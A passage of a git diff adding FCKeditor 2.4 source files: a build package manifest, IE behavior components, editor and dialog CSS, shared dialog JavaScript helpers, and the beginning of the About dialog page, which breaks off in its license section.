+               <File path="editor/_source/commandclasses/fcknamedcommand.js" />
+               <File path="editor/_source/commandclasses/fck_othercommands.js" />
+               <File path="editor/_source/commandclasses/fckspellcheckcommand_ie.js" />
+               <File path="editor/_source/commandclasses/fcktextcolorcommand.js" />
+               <File path="editor/_source/commandclasses/fckpasteplaintextcommand.js" />
+               <File path="editor/_source/commandclasses/fckpastewordcommand.js" />
+               <File path="editor/_source/commandclasses/fcktablecommand.js" />
+               <File path="editor/_source/commandclasses/fckstylecommand.js" />
+               <File path="editor/_source/commandclasses/fckfitwindow.js" />
+               <File path="editor/_source/internals/fckcommands.js" />
+
+               <File path="editor/_source/classes/fckpanel.js" />
+               <File path="editor/_source/classes/fckicon.js" />
+               <File path="editor/_source/classes/fcktoolbarbuttonui.js" />
+               <File path="editor/_source/classes/fcktoolbarbutton.js" />
+               <File path="editor/_source/classes/fckspecialcombo.js" />
+               <File path="editor/_source/classes/fcktoolbarspecialcombo.js" />
+               <File path="editor/_source/classes/fcktoolbarfontscombo.js" />
+               <File path="editor/_source/classes/fcktoolbarfontsizecombo.js" />
+               <File path="editor/_source/classes/fcktoolbarfontformatcombo.js" />
+               <File path="editor/_source/classes/fcktoolbarstylecombo.js" />
+               <File path="editor/_source/classes/fcktoolbarpanelbutton.js" />
+               <File path="editor/_source/internals/fcktoolbaritems.js" />
+               <File path="editor/_source/classes/fcktoolbar.js" />
+               <File path="editor/_source/classes/fcktoolbarbreak_ie.js" />
+               <File path="editor/_source/internals/fcktoolbarset.js" />
+               <File path="editor/_source/internals/fckdialog.js" />
+               <File path="editor/_source/internals/fckdialog_ie.js" />
+
+               <File path="editor/_source/classes/fckmenuitem.js" />
+               <File path="editor/_source/classes/fckmenublock.js" />
+               <File path="editor/_source/classes/fckmenublockpanel.js" />
+               <File path="editor/_source/classes/fckcontextmenu.js" />
+               <File path="editor/_source/internals/fck_contextmenu.js" />
+
+               <File path="editor/_source/classes/fckplugin.js" />
+               <File path="editor/_source/internals/fckplugins.js" />
+       </PackageFile>
+
+       <PackageFile name="fckeditorcode_gecko.js">
+               <File path="editor/_source/fckconstants.js" />
+               <File path="editor/_source/fckjscoreextensions.js" />
+               <File path="editor/_source/internals/fckbrowserinfo.js" />
+               <File path="editor/_source/internals/fckurlparams.js" />
+               <File path="editor/_source/classes/fckevents.js" />
+               <File path="editor/_source/internals/fck.js" />
+               <File path="editor/_source/internals/fck_gecko.js" />
+               <File path="editor/_source/internals/fckconfig.js" />
+               <File path="editor/_source/internals/fckdebug.js" />
+               <File path="editor/_source/internals/fckdomtools.js" />
+               <File path="editor/_source/internals/fcktools.js" />
+               <File path="editor/_source/internals/fcktools_gecko.js" />
+               <File path="editor/_source/fckeditorapi.js" />
+               <File path="editor/_source/classes/fckimagepreloader.js" />
+
+               <File path="editor/_source/internals/fckregexlib.js" />
+               <File path="editor/_source/internals/fcklanguagemanager.js" />
+               <File path="editor/_source/internals/fckxhtmlentities.js" />
+               <File path="editor/_source/internals/fckxhtml.js" />
+               <File path="editor/_source/internals/fckxhtml_gecko.js" />
+               <File path="editor/_source/internals/fckcodeformatter.js" />
+               <File path="editor/_source/internals/fckundo_gecko.js" />
+               <File path="editor/_source/classes/fckeditingarea.js" />
+               <File path="editor/_source/classes/fckkeystrokehandler.js" />
+
+               <File path="editor/_source/internals/fcklisthandler.js" />
+               <File path="editor/_source/classes/fckelementpath.js" />
+               <File path="editor/_source/classes/fckdomrange.js" />
+               <File path="editor/_source/classes/fckdomrange_gecko.js" />
+               <File path="editor/_source/classes/fckdocumentfragment_gecko.js" />
+               <File path="editor/_source/classes/fckw3crange.js" />
+               <File path="editor/_source/classes/fckenterkey.js" />
+
+               <File path="editor/_source/internals/fckdocumentprocessor.js" />
+               <File path="editor/_source/internals/fckselection.js" />
+               <File path="editor/_source/internals/fckselection_gecko.js" />
+
+               <File path="editor/_source/internals/fcktablehandler.js" />
+               <File path="editor/_source/internals/fcktablehandler_gecko.js" />
+               <File path="editor/_source/classes/fckxml_gecko.js" />
+               <File path="editor/_source/classes/fckstyledef.js" />
+               <File path="editor/_source/classes/fckstyledef_gecko.js" />
+               <File path="editor/_source/classes/fckstylesloader.js" />
+
+               <File path="editor/_source/commandclasses/fcknamedcommand.js" />
+               <File path="editor/_source/commandclasses/fck_othercommands.js" />
+               <File path="editor/_source/commandclasses/fckspellcheckcommand_gecko.js" />
+               <File path="editor/_source/commandclasses/fcktextcolorcommand.js" />
+               <File path="editor/_source/commandclasses/fckpasteplaintextcommand.js" />
+               <File path="editor/_source/commandclasses/fckpastewordcommand.js" />
+               <File path="editor/_source/commandclasses/fcktablecommand.js" />
+               <File path="editor/_source/commandclasses/fckstylecommand.js" />
+               <File path="editor/_source/commandclasses/fckfitwindow.js" />
+               <File path="editor/_source/internals/fckcommands.js" />
+
+               <File path="editor/_source/classes/fckpanel.js" />
+               <File path="editor/_source/classes/fckicon.js" />
+               <File path="editor/_source/classes/fcktoolbarbuttonui.js" />
+               <File path="editor/_source/classes/fcktoolbarbutton.js" />
+               <File path="editor/_source/classes/fckspecialcombo.js" />
+               <File path="editor/_source/classes/fcktoolbarspecialcombo.js" />
+               <File path="editor/_source/classes/fcktoolbarfontscombo.js" />
+               <File path="editor/_source/classes/fcktoolbarfontsizecombo.js" />
+               <File path="editor/_source/classes/fcktoolbarfontformatcombo.js" />
+               <File path="editor/_source/classes/fcktoolbarstylecombo.js" />
+               <File path="editor/_source/classes/fcktoolbarpanelbutton.js" />
+               <File path="editor/_source/internals/fcktoolbaritems.js" />
+               <File path="editor/_source/classes/fcktoolbar.js" />
+               <File path="editor/_source/classes/fcktoolbarbreak_gecko.js" />
+               <File path="editor/_source/internals/fcktoolbarset.js" />
+               <File path="editor/_source/internals/fckdialog.js" />
+               <File path="editor/_source/internals/fckdialog_gecko.js" />
+
+               <File path="editor/_source/classes/fckmenuitem.js" />
+               <File path="editor/_source/classes/fckmenublock.js" />
+               <File path="editor/_source/classes/fckmenublockpanel.js" />
+               <File path="editor/_source/classes/fckcontextmenu.js" />
+               <File path="editor/_source/internals/fck_contextmenu.js" />
+               
+               <File path="editor/_source/classes/fckplugin.js" />
+               <File path="editor/_source/internals/fckplugins.js" />
+       </PackageFile>
+
+</Package>
\ No newline at end of file
diff --git a/fckeditor/editor/css/behaviors/disablehandles.htc b/fckeditor/editor/css/behaviors/disablehandles.htc
new file mode 100755 (executable)
index 0000000..e12aa59
--- /dev/null
@@ -0,0 +1,15 @@
+<public:component lightweight="true">
+
+<script language="javascript">
+
+function CancelEvent()
+{
+       return false ;
+}
+
+this.onresizestart = CancelEvent ;
+this.onbeforeeditfocus = CancelEvent ;
+
+</script>
+
+</public:component>
diff --git a/fckeditor/editor/css/behaviors/hiddenfield.gif b/fckeditor/editor/css/behaviors/hiddenfield.gif
new file mode 100755 (executable)
index 0000000..12bc251
Binary files /dev/null and b/fckeditor/editor/css/behaviors/hiddenfield.gif differ
diff --git a/fckeditor/editor/css/behaviors/hiddenfield.htc b/fckeditor/editor/css/behaviors/hiddenfield.htc
new file mode 100755 (executable)
index 0000000..455484f
--- /dev/null
@@ -0,0 +1,30 @@
+<public:component lightweight="true">
+
+<public:attach event="oncontentready" onevent="ShowField()" />
+<public:attach event="ondoubleclick" onevent="EditField()" />
+
+<script language="javascript">
+
+var bIsHiddenField = this.type == 'hidden' ;
+
+function ShowField()
+{
+       if ( bIsHiddenField ) 
+       {
+               this.runtimeStyle.width                         = '20px' ;
+               this.runtimeStyle.height                        = '20px' ;
+               this.runtimeStyle.border                        = '1px dotted #FF0000' ;
+               this.runtimeStyle.backgroundImage       = 'url(css/behaviors/hiddenfield.gif)' ;
+               this.runtimeStyle.fontSize                      = '99px' ;
+       }
+}
+
+function EditField()
+{
+       if ( bIsHiddenField ) 
+               alert( this.outerHTML ) ;
+}
+
+</script>
+
+</public:component>
diff --git a/fckeditor/editor/css/behaviors/showtableborders.htc b/fckeditor/editor/css/behaviors/showtableborders.htc
new file mode 100755 (executable)
index 0000000..bb81406
--- /dev/null
@@ -0,0 +1,36 @@
+<public:component lightweight="true">
+
+<public:attach event="oncontentready" onevent="ShowBorders()" />
+<public:attach event="onpropertychange" onevent="OnPropertyChange()" />
+
+<script language="javascript">
+
+var oClassRegex = /\s*FCK__ShowTableBorders/ ;
+
+function ShowBorders()
+{
+       if ( this.border == 0 )
+       {
+               if ( !oClassRegex.test( this.className ) )
+                       this.className += ' FCK__ShowTableBorders' ;
+       }
+       else
+       {
+               if ( oClassRegex.test( this.className ) )
+               {
+                       this.className = this.className.replace( oClassRegex, '' ) ;
+                       if ( this.className.length == 0 )
+                               this.removeAttribute( 'className', 0 ) ;
+               }
+       }
+}
+
+function OnPropertyChange()
+{
+       if ( event.propertyName == 'border' || event.propertyName == 'className' )
+               ShowBorders.call(this) ;
+}
+
+</script>
+
+</public:component>
diff --git a/fckeditor/editor/css/fck_editorarea.css b/fckeditor/editor/css/fck_editorarea.css
new file mode 100755 (executable)
index 0000000..75fe6e3
--- /dev/null
@@ -0,0 +1,96 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_editorarea.css
+ *     This is the default CSS file used by the editor area. It defines the
+ *     initial font of the editor and background color.
+ * 
+ *     A user can configure the editor to use another CSS file. Just change
+ *     the value of the FCKConfig.EditorAreaCSS key in the configuration
+ *     file.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             Alfonso Martinez de Lizarrondo - Uritec (alfonso at uritec dot net)
+ */
+
+/*
+    The "body" styles should match your editor web site, mainly regarding
+    background color and font family and size.
+*/
+
+body
+{
+       background-color: #ffffff;
+       padding: 5px 5px 5px 5px;
+       margin: 0px;
+}
+
+body, td
+{
+       font-family: Arial, Verdana, Sans-Serif;
+       font-size: 12px;
+}
+
+a[href]
+{
+       color: #0000FF !important;      /* For Firefox... mark as important, otherwise it becomes black */
+}
+
+/* 
+       Just uncomment the following block if you want to avoid spaces between 
+       paragraphs. Remember to apply the same style in your output front end page.
+*/
+
+/*
+p, ul, li
+{
+       margin-top: 0px;
+       margin-bottom: 0px;
+}
+*/
+
+/*
+    The following are some sample styles used in the "Styles" toolbar command.
+    You should instead remove them, and include the styles used by the site
+    you are using the editor in.
+*/
+
+.Bold
+{
+       font-weight: bold;
+}
+
+.Title
+{
+       font-weight: bold;
+       font-size: 18px;
+       color: #cc3300;
+}
+
+.Code
+{
+       border: #8b4513 1px solid;
+       padding-right: 5px;
+       padding-left: 5px;
+       color: #000066;
+       font-family: 'Courier New' , Monospace;
+       background-color: #ff9933;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/css/fck_internal.css b/fckeditor/editor/css/fck_internal.css
new file mode 100755 (executable)
index 0000000..86c55c9
--- /dev/null
@@ -0,0 +1,121 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_internal.css
+ *     This CSS Style Sheet defines rules used by the editor for its internal use.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             Alfonso Martinez de Lizarrondo - Uritec (alfonso at uritec dot net)
+ */
+
+/* Fix to allow putting the caret at the end of the
+content in Firefox if clicking below the content */
+html
+{
+       min-height:100%;
+}
+
+
+table.FCK__ShowTableBorders, table.FCK__ShowTableBorders td, table.FCK__ShowTableBorders th
+{
+       border: #d3d3d3 1px solid;
+}
+
+form
+{
+       border: 1px dotted #FF0000;
+       padding: 2px;
+}
+
+.FCK__Flash
+{
+       border: darkgray 1px solid;
+       background-position: center center;
+       background-image: url(images/fck_flashlogo.gif);
+       background-repeat: no-repeat;
+       width: 80px;
+       height: 80px;
+}
+
+/* Empty anchors images */
+.FCK__Anchor
+{
+       border: 1px dotted #00F;
+       background-position: center center;
+       background-image: url(images/fck_anchor.gif);
+       background-repeat: no-repeat;
+       width: 16px;
+       height: 15px;
+       vertical-align: middle;
+}
+
+/* Anchors with content */
+.FCK__AnchorC
+{
+       border: 1px dotted #00F;
+       background-position: 1 center;
+       background-image: url(images/fck_anchor.gif);
+       background-repeat: no-repeat;
+       padding-left:18px;
+}
+
+/* Any anchor for non-IE, if we combine it 
+   with the previous rule IE ignores all. */
+a[name]
+{
+       border: 1px dotted #00F;
+       background-position: 0 center;
+       background-image: url(images/fck_anchor.gif);
+       background-repeat: no-repeat;
+       padding-left:18px;
+}
+
+.FCK__PageBreak
+{
+       background-position: center center;
+       background-image: url(images/fck_pagebreak.gif);
+       background-repeat: no-repeat;
+       clear: both;
+       display: block;
+       float: none;
+       width: 100%;
+       border-top: #999999 1px dotted;
+       border-bottom: #999999 1px dotted;
+       border-right: 0px;
+       border-left: 0px;
+       height: 5px;
+}
+
+input[type="hidden"]
+{
+       display: inline;
+       width:20px;
+       height:20px;
+       border:1px dotted #FF0000 ;
+       background-image: url(behaviors/hiddenfield.gif);
+       background-repeat: no-repeat;
+}
+
+input[type="hidden"]:after
+{
+       padding-left: 20px;
+       content: "" ;
+}
diff --git a/fckeditor/editor/css/fck_showtableborders_gecko.css b/fckeditor/editor/css/fck_showtableborders_gecko.css
new file mode 100755 (executable)
index 0000000..6997134
--- /dev/null
@@ -0,0 +1,46 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_showtableborders_gecko.css
+ *     This CSS Style Sheet defines the rules to show table borders on Gecko.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+/* For tables with the "border" attribute set to "0" */
+table[border="0"], 
+table[border="0"] > tr > td, table[border="0"] > tr > th, 
+table[border="0"] > tbody > tr > td, table[border="0"] > tbody > tr > th, 
+table[border="0"] > thead > tr > td, table[border="0"] > thead > tr > th, 
+table[border="0"] > tfoot > tr > td, table[border="0"] > tfoot > tr > th
+{
+       border: #d3d3d3 1px dotted ;
+}
+
+/* For tables with no "border" attribute set */
+table:not([border]), 
+table:not([border]) > tr > td, table:not([border]) > tr > th,
+table:not([border]) > tbody > tr > td, table:not([border]) > tbody > tr > th,
+table:not([border]) > thead > tr > td, table:not([border]) > thead > tr > th,
+table:not([border]) > tfoot > tr > td, table:not([border]) > tfoot > tr > th
+{
+       border: #d3d3d3 1px dotted ;
+}
diff --git a/fckeditor/editor/css/images/fck_anchor.gif b/fckeditor/editor/css/images/fck_anchor.gif
new file mode 100755 (executable)
index 0000000..5aa797b
Binary files /dev/null and b/fckeditor/editor/css/images/fck_anchor.gif differ
diff --git a/fckeditor/editor/css/images/fck_flashlogo.gif b/fckeditor/editor/css/images/fck_flashlogo.gif
new file mode 100755 (executable)
index 0000000..141aac4
Binary files /dev/null and b/fckeditor/editor/css/images/fck_flashlogo.gif differ
diff --git a/fckeditor/editor/css/images/fck_pagebreak.gif b/fckeditor/editor/css/images/fck_pagebreak.gif
new file mode 100755 (executable)
index 0000000..8d1cffd
Binary files /dev/null and b/fckeditor/editor/css/images/fck_pagebreak.gif differ
diff --git a/fckeditor/editor/dialog/common/fck_dialog_common.css b/fckeditor/editor/dialog/common/fck_dialog_common.css
new file mode 100755 (executable)
index 0000000..7adbd20
--- /dev/null
@@ -0,0 +1,87 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_dialog_common.css
+ *     This is the CSS file used for interface details in some dialog
+ *     windows.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+.ImagePreviewArea
+{
+       border: #000000 1px solid;
+       overflow: auto;
+       width: 100%;
+       height: 170px;
+       background-color: #ffffff;
+}
+
+.FlashPreviewArea
+{
+       border: #000000 1px solid;
+       padding: 5px;
+       overflow: auto;
+       width: 100%;
+       height: 170px;
+       background-color: #ffffff;
+}
+
+.BtnReset
+{
+       float: left;
+       background-position: center center;
+       background-image: url(images/reset.gif);
+       width: 16px;
+       height: 16px;
+       background-repeat: no-repeat;
+       border: 1px none;
+       font-size: 1px ;
+}
+
+.BtnLocked, .BtnUnlocked
+{
+       float: left;
+       background-position: center center;
+       background-image: url(images/locked.gif);
+       width: 16px;
+       height: 16px;
+       background-repeat: no-repeat;
+       border: none 1px;
+       font-size: 1px ;
+}
+
+.BtnUnlocked
+{
+       background-image: url(images/unlocked.gif);
+}
+
+.BtnOver
+{
+       border: outset 1px;
+       cursor: pointer;
+       cursor: hand;
+}
+
+.FCK__FieldNumeric
+{
+       behavior: url(common/fcknumericfield.htc) ;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/dialog/common/fck_dialog_common.js b/fckeditor/editor/dialog/common/fck_dialog_common.js
new file mode 100755 (executable)
index 0000000..13cca6f
--- /dev/null
@@ -0,0 +1,158 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_dialog_common.js
+ *     Useful functions used by almost all dialog window pages.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+var GECKO_BOGUS = '<br type="_moz">' ;
+
+// Gets a element by its Id. Used for shorter coding.
+function GetE( elementId )
+{
+       return document.getElementById( elementId )  ;
+}
+
+function ShowE( element, isVisible )
+{
+       if ( typeof( element ) == 'string' )
+               element = GetE( element ) ;
+       element.style.display = isVisible ? '' : 'none' ;
+}
+
+function SetAttribute( element, attName, attValue )
+{
+       if ( attValue == null || attValue.length == 0 )
+               element.removeAttribute( attName, 0 ) ;                 // 0 : Case Insensitive
+       else
+               element.setAttribute( attName, attValue, 0 ) ;  // 0 : Case Insensitive
+}
+
+function GetAttribute( element, attName, valueIfNull )
+{
+       var oAtt = element.attributes[attName] ;
+
+       if ( oAtt == null || !oAtt.specified )
+               return valueIfNull ? valueIfNull : '' ;
+
+       var oValue = element.getAttribute( attName, 2 ) ;
+       
+       if ( oValue == null )
+               oValue = oAtt.nodeValue ;
+
+       return ( oValue == null ? valueIfNull : oValue ) ;
+}
+
+// Functions used by text fiels to accept numbers only.
+function IsDigit( e )
+{
+       if ( !e )
+               e = event ;
+
+       var iCode = ( e.keyCode || e.charCode ) ;
+       
+       return (
+                       ( iCode >= 48 && iCode <= 57 )          // Numbers
+                       || (iCode >= 37 && iCode <= 40)         // Arrows
+                       || iCode == 8                                           // Backspace
+                       || iCode == 46                                          // Delete
+       ) ;
+}
+
+String.prototype.Trim = function()
+{
+       return this.replace( /(^\s*)|(\s*$)/g, '' ) ;
+}
+
+String.prototype.StartsWith = function( value )
+{
+       return ( this.substr( 0, value.length ) == value ) ;
+}
+
+String.prototype.Remove = function( start, length )
+{
+       var s = '' ;
+
+       if ( start > 0 )
+               s = this.substring( 0, start ) ;
+
+       if ( start + length < this.length )
+               s += this.substring( start + length , this.length ) ;
+
+       return s ;
+}
+
+String.prototype.ReplaceAll = function( searchArray, replaceArray )
+{
+       var replaced = this ;
+       
+       for ( var i = 0 ; i < searchArray.length ; i++ )
+       {
+               replaced = replaced.replace( searchArray[i], replaceArray[i] ) ;
+       }
+       
+       return replaced ;
+}
+
+function OpenFileBrowser( url, width, height )
+{
+       // oEditor must be defined.
+       
+       var iLeft = ( oEditor.FCKConfig.ScreenWidth  - width ) / 2 ;
+       var iTop  = ( oEditor.FCKConfig.ScreenHeight - height ) / 2 ;
+
+       var sOptions = "toolbar=no,status=no,resizable=yes,dependent=yes,scrollbars=yes" ;
+       sOptions += ",width=" + width ;
+       sOptions += ",height=" + height ;
+       sOptions += ",left=" + iLeft ;
+       sOptions += ",top=" + iTop ;
+
+       // The "PreserveSessionOnFileBrowser" because the above code could be 
+       // blocked by popup blockers.
+       if ( oEditor.FCKConfig.PreserveSessionOnFileBrowser && oEditor.FCKBrowserInfo.IsIE )
+       {
+               // The following change has been made otherwise IE will open the file 
+               // browser on a different server session (on some cases):
+               // http://support.microsoft.com/default.aspx?scid=kb;en-us;831678
+               // by Simone Chiaretta.
+               var oWindow = oEditor.window.open( url, 'FCKBrowseWindow', sOptions ) ;
+               
+               if ( oWindow )
+               {
+                       // Detect Yahoo popup blocker.
+                       try
+                       {
+                               var sTest = oWindow.name ; // Yahoo returns "something", but we can't access it, so detect that and avoid strange errors for the user.
+                               oWindow.opener = window ;
+                       }
+                       catch(e)
+                       {
+                               alert( oEditor.FCKLang.BrowseServerBlocked ) ;
+                       }
+               }
+               else
+                       alert( oEditor.FCKLang.BrowseServerBlocked ) ;
+    }
+    else
+               window.open( url, 'FCKBrowseWindow', sOptions ) ;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/dialog/common/fcknumericfield.htc b/fckeditor/editor/dialog/common/fcknumericfield.htc
new file mode 100755 (executable)
index 0000000..94bb8ba
--- /dev/null
@@ -0,0 +1,24 @@
+<public:component lightweight="true">
+
+<script language="javascript">
+
+function CheckIsDigit()
+{
+       var iCode = event.keyCode ;
+
+       event.returnValue =
+               (
+                       ( iCode >= 48 && iCode <= 57 )          // Numbers
+                       || (iCode >= 37 && iCode <= 40)         // Arrows
+                       || iCode == 8                                           // Backspace
+                       || iCode == 46                                          // Delete
+               ) ;
+
+       return event.returnValue ;
+}
+
+this.onkeypress = CheckIsDigit ;
+
+</script>
+
+</public:component>
diff --git a/fckeditor/editor/dialog/common/images/locked.gif b/fckeditor/editor/dialog/common/images/locked.gif
new file mode 100755 (executable)
index 0000000..ea07870
Binary files /dev/null and b/fckeditor/editor/dialog/common/images/locked.gif differ
diff --git a/fckeditor/editor/dialog/common/images/reset.gif b/fckeditor/editor/dialog/common/images/reset.gif
new file mode 100755 (executable)
index 0000000..5e9a2fc
Binary files /dev/null and b/fckeditor/editor/dialog/common/images/reset.gif differ
diff --git a/fckeditor/editor/dialog/common/images/unlocked.gif b/fckeditor/editor/dialog/common/images/unlocked.gif
new file mode 100755 (executable)
index 0000000..801e423
Binary files /dev/null and b/fckeditor/editor/dialog/common/images/unlocked.gif differ
diff --git a/fckeditor/editor/dialog/common/moz-bindings.xml b/fckeditor/editor/dialog/common/moz-bindings.xml
new file mode 100755 (executable)
index 0000000..5beb567
--- /dev/null
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<bindings xmlns="http://www.mozilla.org/xbl">
+       <binding id="numericfield">
+               <implementation>
+                       <constructor>
+                               this.keypress = CheckIsDigit ;
+                       </constructor>
+                       <method name="CheckIsDigit">
+                               <body>
+                                       <![CDATA[
+                                       var iCode = keyCode ;
+
+                                       var bAccepted =
+                                               (
+                                                       ( iCode >= 48 && iCode <= 57 )          // Numbers
+                                                       || (iCode >= 37 && iCode <= 40)         // Arrows
+                                                       || iCode == 8                                                                                   // Backspace
+                                                       || iCode == 46                                                                          // Delete
+                                               ) ;
+
+                                       return bAccepted ;
+                                       ]]>
+                               </body>
+                       </method>
+               </implementation>
+               <events>
+                       <event type="keypress" value="CheckIsDigit()" />
+               </events>
+       </binding>
+</bindings>
\ No newline at end of file
diff --git a/fckeditor/editor/dialog/fck_about.html b/fckeditor/editor/dialog/fck_about.html
new file mode 100755 (executable)
index 0000000..38d5e8b
--- /dev/null
@@ -0,0 +1,159 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_about.html
+ *     "About" dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+var FCKLang    = oEditor.FCKLang ;
+
+window.parent.AddTab( 'About', FCKLang.DlgAboutAboutTab ) ;
+window.parent.AddTab( 'License', FCKLang.DlgAboutLicenseTab ) ;
+window.parent.AddTab( 'BrowserInfo', FCKLang.DlgAboutBrowserInfoTab ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+       ShowE('divAbout', ( tabCode == 'About' ) ) ;
+       ShowE('divLicense', ( tabCode == 'License' ) ) ;
+       ShowE('divInfo' , ( tabCode == 'BrowserInfo' ) ) ;
+}
+
+function SendEMail()
+{
+       var eMail = 'mailto:' ;
+       eMail += 'fredck' ;
+       eMail += '@' ;
+       eMail += 'fckeditor' ;
+       eMail += '.' ;
+       eMail += 'net' ;
+
+       window.location = eMail ;
+}
+
+window.onload = function()
+{
+       // Translate the dialog box texts.
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       window.parent.SetAutoSize( true ) ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <div id="divAbout">
+               <table cellpadding="0" cellspacing="0" border="0" width="100%" style="height: 100%">
+                       <tr>
+                               <td>
+                                       <img alt="" src="fck_about/logo_fckeditor.gif" width="236" height="41" align="left" />
+                                       <table width="80" border="0" cellspacing="0" cellpadding="5" bgcolor="#ffffff" align="right">
+                                               <tr>
+                                                       <td align="center" nowrap="nowrap" style="border-right: #000000 1px solid; border-top: #000000 1px solid;
+                                                               border-left: #000000 1px solid; border-bottom: #000000 1px solid">
+                                                               <span fcklang="DlgAboutVersion">version</span>
+                                                               <br />
+                                                               <b>2.4</b><br />
+                                                               Build 1148</td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+                       <tr style="height: 100%">
+                               <td align="center">
+                                       &nbsp;<br />
+                                       <span style="font-size: 14px" dir="ltr">
+                                               <br />
+                                               <b><a href="http://www.fckeditor.net/?about" target="_blank" title="Visit the FCKeditor web site">
+                                                       Support <b>Open Source</b> Software</a></b> </span>
+                                       <br />
+                                       <br />
+                                       <br />
+                                       <span fcklang="DlgAboutInfo">For further information go to</span> <a href="http://www.fckeditor.net/?About"
+                                               target="_blank">http://www.fckeditor.net/</a>.
+                                       <br />
+                                       Copyright &copy; 2003-2007 <a href="#" onclick="SendEMail();">Frederico Caldeira Knabben</a>
+                               </td>
+                       </tr>
+                       <tr>
+                               <td align="center">
+                                       <img alt="" src="fck_about/logo_fredck.gif" width="87" height="36" />
+                               </td>
+                       </tr>
+               </table>
+       </div>
+       <div id="divLicense" style="display: none">
+                       <p>
+                               Licensed under the terms of any of the following licenses at your
+                               choice:
+                       </p>
